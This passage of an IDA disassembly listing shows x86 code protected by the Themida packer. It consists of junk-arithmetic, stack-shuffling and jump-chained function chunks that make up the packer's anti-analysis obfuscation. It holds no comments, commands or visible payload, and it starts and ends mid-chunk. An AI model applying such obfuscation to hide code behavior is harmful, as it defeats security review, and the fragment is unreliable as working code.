loc_5AC190:				; CODE XREF: sub_5A91EC-B967j
		push	ecx
		push	edx
		push	edi
		jmp	loc_5A73CF
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AC198:				; CODE XREF: sub_5A7343-AC01j
		jmp	loc_5A2A62
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AC19D:				; CODE XREF: sub_5A91EC+2646j
		pop	ecx
		sub	ecx, 25327F07h
		pop	edx
		jmp	loc_5992C3
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5AC1AA:				; CODE XREF: sub_59EB21+5B32j
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	eax
		jmp	loc_59D3AB
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AC1B8:				; CODE XREF: sub_5A8D43-AC0Bj
		push	edx
		mov	edx, 0DFB749FCh
		add	ebp, edx
		pop	edx
		add	eax, ebp
		jmp	loc_5A8B00
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5AC1C8:				; CODE XREF: sub_5AA46D-613Aj
		mov	eax, 4
		jmp	loc_5ABCEE
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AC1D2:				; CODE XREF: sub_5A8C33+592Cj
		xchg	edx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	ebx
		mov	ebx, 2BCF3037h
		push	ebx
		mov	ebx, 5E0302E6h
		jmp	loc_5AA33B
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AC1E9:				; CODE XREF: Themida_:005A4686j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5A4F0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5AC1F4:				; CODE XREF: sub_5AB3DC-12DE8j
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], edx
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_5AC1FF:				; CODE XREF: Themida_:005A043Ej
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_597FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AC213:				; CODE XREF: sub_5A8C33+5F98j
		pop	ecx
		jmp	loc_59983F
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5F8D


loc_5AC219:				; CODE XREF: sub_5A5F8D-772j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A5F8D
; ---------------------------------------------------------------------------
		lodsd
		push	4946h
		mov	[esp], ecx
		push	ebp
		jmp	loc_5AB289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AC22D:				; CODE XREF: sub_59A932+5737j
		xor	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		movzx	ecx, ax
		jmp	loc_5A7F6B
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC23B:				; CODE XREF: sub_5AC95F-12CEAj
		mov	eax, 6EF35566h
		shl	eax, 1
		or	eax, 5DE4388Bh
		jmp	loc_5ACC70
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598E15


loc_5AC24C:				; CODE XREF: sub_598E15+15D2Cj
		xchg	eax, ecx
		jmp	loc_5ABAD1
; END OF FUNCTION CHUNK	FOR sub_598E15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_5AC252:				; CODE XREF: sub_59D832+1j
		mov	ebp, 8020C008h
		add	edx, ebp
		pop	ebp
		add	ebp, edx
		mov	edx, [esp+0]
		push	eax
		jmp	loc_5993F7
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5AC265:				; CODE XREF: sub_5AC402-209Aj
		sub	bh, cl
		pop	ecx
		inc	bh
		jmp	loc_5AA3E0
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC26F:				; CODE XREF: sub_5AC95F+34Aj
		push	ecx
		push	9DA4E11h
		jmp	loc_59CCD9
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F56


loc_5AC27A:				; CODE XREF: sub_5A8F56+26j
		add	eax, 45B0347Eh
		jz	loc_5A04B2
		xor	eax, 877BEC7Bh
		add	esi, eax
		jmp	loc_59983F
; END OF FUNCTION CHUNK	FOR sub_5A8F56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC291:				; CODE XREF: sub_5AC95F-7ED6j
		add	ebp, eax
		add	ebp, 68913BCh
		pop	eax
		add	ebp, 4
		xor	ebp, [esp+0Ch+var_C]
		jmp	loc_5A1047
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B333


loc_5AC2A8:				; CODE XREF: sub_59B333+60B4j
		sub	ebx, 1715BDAh
		push	edx
		jmp	loc_5AD07C
; END OF FUNCTION CHUNK	FOR sub_59B333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AC2B4:				; CODE XREF: sub_59D99C+ACB6j
		sub	edx, 10751F12h
		pop	ecx
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AC2C0:				; CODE XREF: sub_5A7343-E02Cj
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5997B7
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5AC2CB:				; CODE XREF: sub_5AC402-27EFj
		pop	ebp
		push	ebx
		mov	ebx, 4119189Dh
		add	ebp, ebx
		jmp	loc_5AC50C
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5AC2D9:				; CODE XREF: sub_5AEE2E-1265Dj
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		jmp	loc_5A8B48
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	65EBh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5A2A48
; ---------------------------------------------------------------------------


loc_5AC2F9:				; CODE XREF: Themida_:005A9433j
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59A99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AC307:				; CODE XREF: sub_59D99C+9B5j
		add	eax, 153E6534h
		pop	esi
		push	ebx
		push	edi
		mov	edi, 64D30D50h
		add	edi, 4FBE4A78h
		jmp	loc_5AE088
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5AC31F:				; CODE XREF: sub_5A600F-A086j
		xor	bl, al
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	sub_59DBFF
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AC32F:				; CODE XREF: sub_5A91EC-A3FFj
		mov	edi, 78FA4D39h
		jmp	loc_5AE8AD
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AC339:				; CODE XREF: sub_599059+CC74j
		add	esp, 4
		sub	al, 0D7h
		sub	bl, al
		pop	eax
		add	bl, 0F3h
		push	4826h
		mov	[esp+2+var_4+2], edx
		mov	dl, al
		mov	[edi+38h], dl
		mov	edx, [esp+2+var_4+2]
		push	2F63h
		mov	[esp+0], edx
		jmp	loc_5A809A
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5AC361:				; CODE XREF: sub_5986D6+A94Ej
		add	esp, 4
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	33EFh
		mov	[esp+8+var_8], ebx
		jmp	loc_5A845C
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC37A:				; CODE XREF: sub_5AC95F+94Cj
		push	ecx
		mov	ecx, 4
		jmp	loc_5AD97E
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5AC385:				; CODE XREF: Themida_:005A7ACAj
		add	[esp+4], ebx
		pop	ebx
		pop	esi
		push	ebx
		push	esi
		push	371F2648h
		jmp	loc_5A1CE7
; ---------------------------------------------------------------------------


loc_5AC397:				; CODE XREF: Themida_:0059E83Fj
		and	eax, 4DDC2C7Fh
		jmp	loc_5A4C40
; ---------------------------------------------------------------------------


loc_5AC3A1:				; CODE XREF: Themida_:0059F4ECj
		add	[esp+4], eax
		sub	dword ptr [esp+4], 44586E1Dh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59F904
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AC3B8:				; CODE XREF: sub_59D99C+C845j
		add	edx, 2DBB753Bh
		shl	edx, 8
		add	edx, 83B03381h
		sub	edi, 78DF34BBh
		jmp	loc_5A25D2
; ---------------------------------------------------------------------------


loc_5AC3D2:				; CODE XREF: sub_59D99C+10E8Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+16h+var_18+2]
		pop	esp
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+16h+var_18+2]
		pop	esp
		mov	[esp+12h+var_14+2], ecx
		jmp	loc_59C1ED
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_5AC402	proc near		; DATA XREF: Themida_:00597A9Co

var_6		= dword	ptr -6
var_2		= word ptr -2
arg_0		= dword	ptr  4
arg_6		= word ptr  0Ah
arg_A		= dword	ptr  0Eh
arg_E		= dword	ptr  12h

; FUNCTION CHUNK AT 00597E6C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00599512 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059CC29 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059ED31 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F6A8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059FA52 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0059FC43 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0248 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A08BE SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A0CEF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1177 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A397D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A564E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A578E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A626A SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A678B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A71BB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9168 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A96BD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A9C0D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9F02 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AA360 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA3E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AB1EB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC265 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AC2CB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AC50C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005ACD03 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AD2F1 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AEDE6 SIZE 0000000B BYTES

		lodsb
		jmp	loc_5A626A
sub_5AC402	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDCC


loc_5AC408:				; CODE XREF: sub_5ADDCC-127D1j
		push	eax
		mov	eax, 97801F7h
		add	dword ptr [esp+4], 565648A2h
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 565648A2h
		jmp	loc_59D610
; END OF FUNCTION CHUNK	FOR sub_5ADDCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC427:				; CODE XREF: sub_5AC95F-68C3j
		push	3772h
		mov	[esp+8+var_8], edx
		push	eax
		jmp	sub_5A73AF
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5AC435:				; CODE XREF: sub_5A58AC+5792j
		or	eax, 4923332Fh
		inc	eax
		push	ebp
		jmp	loc_5A5B23
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5AC441:				; CODE XREF: sub_5A1340+7E3Ej
		add	ebp, 4
		push	ecx
		mov	ecx, 1D4410B1h
		or	ecx, 19EE1FACh
		push	ebx
		mov	ebx, 4BFB0E1Fh
		add	ecx, ebx
		pop	ebx
		xor	ecx, 69E92DD8h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	eax, [esp+0]
		add	esp, 4
		sub	al, cl
		push	dword ptr [esp+0]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_59E4AF
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AC48C:				; CODE XREF: sub_59D99C+BD1Cj
		pop	esi
		mov	eax, ebp
		jmp	loc_597CD8
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AC494:				; CODE XREF: sub_5A91EC-10B47j
		shr	edx, 4
		shr	edx, 5
		jns	loc_59A730
		and	edx, 1D100CCh
		jmp	loc_5ABD60
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
		and	al, 6Eh
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AC4AD:				; CODE XREF: sub_59D99C+4150j
		mov	ebx, 1E1B6FE7h
		jmp	sub_5A94F5
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC4B7:				; CODE XREF: sub_5AC95F-4EDFj
		add	esp, 4
		jmp	sub_59EF66
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5AC4BF:				; CODE XREF: sub_5A28BE+3088j
		push	edx
		push	ecx
		push	ebx
		mov	ebx, 3F456F09h
		shr	ebx, 3
		shl	ebx, 8
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, 398A7B74h
		not	edx
		shr	edx, 7
		dec	edx
		dec	edx
		jmp	loc_59BA7F
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_5AC4E4:				; CODE XREF: sub_59BD3A+C8BEj
		xchg	ebp, [esp+8+var_8]
		pop	esp
		jmp	loc_59816E
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AC4ED:				; CODE XREF: sub_599059+981Ej
		sub	esi, 3A943BA4h
		sub	esi, 64360347h
		add	esi, eax
		add	esi, 64360347h
		add	esi, 3A943BA4h
		jmp	loc_59CD54
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5AC50C:				; CODE XREF: sub_5AC402-12Ej
		pop	ebx
		push	ebx
		mov	ebx, 191C6801h
		or	ebx, 7CA469DDh
		jmp	loc_5A678B
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5AC51E:				; CODE XREF: sub_59FFBE+529Bj
		pop	esp
		mov	[esp+0Ch+var_C], edi
		jmp	sub_5AD9CC
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_5AC527:				; DATA XREF: Themida_:005978A4o
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_59F5A4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	2D2Ah
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], eax
		push	5D86h
		mov	[esp], esi
		mov	esi, 4
		mov	eax, esi
		jmp	loc_5AEB46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02F5


loc_5AC580:				; CODE XREF: sub_5A02F5+3913j
		mov	[esp-6+arg_0+2], edx
		jmp	loc_5AA852
; END OF FUNCTION CHUNK	FOR sub_5A02F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5AC588:				; CODE XREF: sub_5A141E-4101j
		push	7B8Ah
		mov	[esp+12h+var_14+2], eax
		mov	ax, 3DB8h
		shr	ax, 3
		jnz	loc_5A8DC5
		or	ax, 68h
		jbe	loc_5A4131
		mov	edi, esi


loc_5AC5AA:				; CODE XREF: Themida_:005A30E6j
		add	ebp, 7FD57A8Eh
		add	ebp, edi
		sub	ebp, 7FD57A8Eh
		pop	edi
		xchg	ebp, [esp+0Eh+var_10+2]
		jmp	loc_5A1897
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AC5C1:				; CODE XREF: sub_59A932+6C2Cj
					; sub_597F0C+ED4Bj
		pop	edi
		xor	eax, ecx
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 3620404Bh
		jmp	loc_5A559E
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5AC5D6:				; CODE XREF: sub_59D24A-242j
		mov	ah, bl
		pop	bx
		push	ecx
		push	eax
		push	ebx
		push	ecx
		jmp	loc_5AA03C
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_5AC5E3:				; CODE XREF: Themida_:0059AC2Aj
		xor	al, bl
		jmp	loc_59AAE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_5AC5EA:				; CODE XREF: sub_5A8899-424Ej
					; sub_59ACEC+12BEEj
		xchg	ecx, esi
		add	esi, 0B7049AEh
		and	esi, 63BD460Bh
		push	esi
		jmp	loc_59DA39
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_5AC5FE:				; CODE XREF: sub_5AB72D+818j
		pop	esi
		add	ecx, 78C26279h
		dec	ecx
		sub	ecx, 6EE32D3Fh
		add	ecx, 0FB9FD58Bh
		add	ebx, ecx
		pop	ecx
		pop	eax
		xor	ebx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], ebx
		xor	ebx, [esp-0Ch+arg_8]
		jmp	loc_5A04FD
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------


loc_5AC624:				; CODE XREF: Themida_:005A9C08j
		push	4732h
		mov	[esp], ecx
		jmp	loc_5A148C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5AC631:				; CODE XREF: sub_5AA500-11A99j
					; sub_59FDC7+9E59j
		add	esi, 4
		jmp	loc_5980CE
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AC63C:				; CODE XREF: sub_5A8C33-74B3j
		push	dword ptr [esp+4]
		mov	ecx, [esp+0]
		jmp	sub_59F73C
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_5AC648:				; CODE XREF: sub_5A3B73-BC31j
		xor	edi, esi
		mov	esi, [esp+0]
		add	esp, 4
		and	ecx, edi
		jmp	loc_5A59D9
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------


loc_5AC65A:				; CODE XREF: Themida_:005AA61Cj
		dec	ebx
		push	edx
		mov	edx, 4B8F6501h
		shl	edx, 1
		xor	edx, 7AAD6543h
		jmp	loc_59897D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC66E:				; CODE XREF: sub_5AC95F-14A01j
		push	edi
		mov	edi, ebx
		jmp	loc_5A0901
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5AC676:				; CODE XREF: sub_59CA4A+D1DDj
		pop	eax
		xchg	ebx, [esp-0Ch+arg_8]
		pop	esp
		jmp	loc_59B86A
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5AC680:				; CODE XREF: sub_5AB3DC-7FBEj
		not	edx
		sub	edx, 58966125h
		jnp	loc_5A7ED9
		jmp	loc_597BD0
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		jmp	loc_5A55C1
; ---------------------------------------------------------------------------


loc_5AC69B:				; CODE XREF: Themida_:005A694Aj
		mov	esp, [esp]
		shl	edi, 5
		push	esi
		mov	esi, 2D9D474Ch
		xor	esi, 605D134Bh
		push	edx
		jmp	loc_5A7927
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AC6B3:				; CODE XREF: sub_59D99C+CAAEj
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		push	ecx
		push	[esp+1Ah+var_18+2]
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_59C3DF
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B1


loc_5AC6CC:				; CODE XREF: sub_5AB1B1+3608j
		push	eax
		mov	eax, 466A7C00h
		jmp	sub_5A36E3
; END OF FUNCTION CHUNK	FOR sub_5AB1B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AC6D7:				; CODE XREF: sub_59D99C+108B6j
		sub	edi, esi
		push	[esp+1Ah+var_1C+2]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 4D03DB0h
		jmp	loc_59D691
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5AC6EB:				; CODE XREF: Themida_:0059CF23j
		dec	ebx
		jmp	loc_5A6CEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AC6F1:				; CODE XREF: sub_5A91EC-94B6j
		mov	[esp-14h+arg_10], eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		jmp	loc_5AC9B2
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5AC701:				; CODE XREF: sub_5ABA9B+173Fj
		mov	edx, 3C320228h
		neg	edx
		jmp	loc_5AE23A
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------


loc_5AC70D:				; CODE XREF: Themida_:0059AD1Cj
		jg	loc_5A434B
		or	ecx, 22959CDh
		jno	sub_5A667A
		mov	esi, esi
		pop	ecx
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5A7BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AC72E:				; CODE XREF: sub_59D99C+7879j
		pop	esp
		mov	word ptr [esp+4+var_4],	dx
		mov	dx, 67FEh
		push	small 32B5h
		jmp	loc_59E715
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5F8D


loc_5AC740:				; CODE XREF: sub_5A5F8D-BA70j
		shr	esi, 8
		jnz	loc_5ACCCB
		jmp	loc_59BCCE
; END OF FUNCTION CHUNK	FOR sub_5A5F8D
; ---------------------------------------------------------------------------
		push	esi
		mov	cl, ch
		mov	edx, edx
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC753:				; CODE XREF: sub_5AC95F-E6C7j
					; sub_599258+660Aj
		add	edi, eax
		pop	eax
		jmp	loc_59E944
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5AC75B:				; CODE XREF: Themida_:0059D92Cj
		mov	edx, 4
		sub	ebp, 7FE627BDh
		jmp	loc_5A56CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A03D


loc_5AC76B:				; CODE XREF: sub_59A03D+Bj
		add	esp, 4
		push	ebp
		mov	ebp, 17483ED3h
		add	eax, 57A50FDh
		sub	eax, ebp
		sub	eax, 57A50FDh
		jmp	loc_59D404
; END OF FUNCTION CHUNK	FOR sub_59A03D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC788:				; CODE XREF: sub_5AC95F-104CAj
		sub	ecx, 0AB5FA98Ch
		xor	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_59FF6A
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5AC79F:				; CODE XREF: Themida_:005ACCB4j
		xor	ecx, 44F95F80h
		jge	loc_59F8FF
		jmp	loc_5AB77F
; ---------------------------------------------------------------------------
		pop	ebp
		push	ecx
		mov	ecx, 6FC83408h
		mov	al, dl
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_5AC7B9:				; CODE XREF: sub_5991B7+3507j
		mov	bh, 0AFh
		mov	al, 0ABh
		add	al, bh
		pop	ebx
		add	ch, al
		mov	ax, [esp+0]
		add	esp, 2
		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_5AD808
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5AC7D7:				; CODE XREF: sub_5A41D6:loc_5A36D1j
		xor	dh, 6Dh
		jmp	loc_5A513E
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5AC7DF:				; CODE XREF: sub_5A3F42-5DE1j
					; sub_5A8C33-797Aj
		and	ebx, 78CF06D9h
		jnz	loc_5A0D2B
		sub	ebx, 10CF0086h
		mov	ecx, ebx
		mov	dh, 70h
		push	eax


loc_5AC7F6:				; CODE XREF: Themida_:005A86E7j
		push	ecx
		mov	ecx, 5B330FDBh
		inc	ecx
		dec	ecx
		neg	ecx
		sub	ecx, 0A4CCF024h
		add	edi, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	edi, 8E356183h
		add	esi, edi
		pop	edi
		push	edx
		mov	edx, 4F2A5123h
		jmp	loc_5A9C68
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AC825:				; CODE XREF: sub_5A8C33-CBF4j
		add	esp, 4
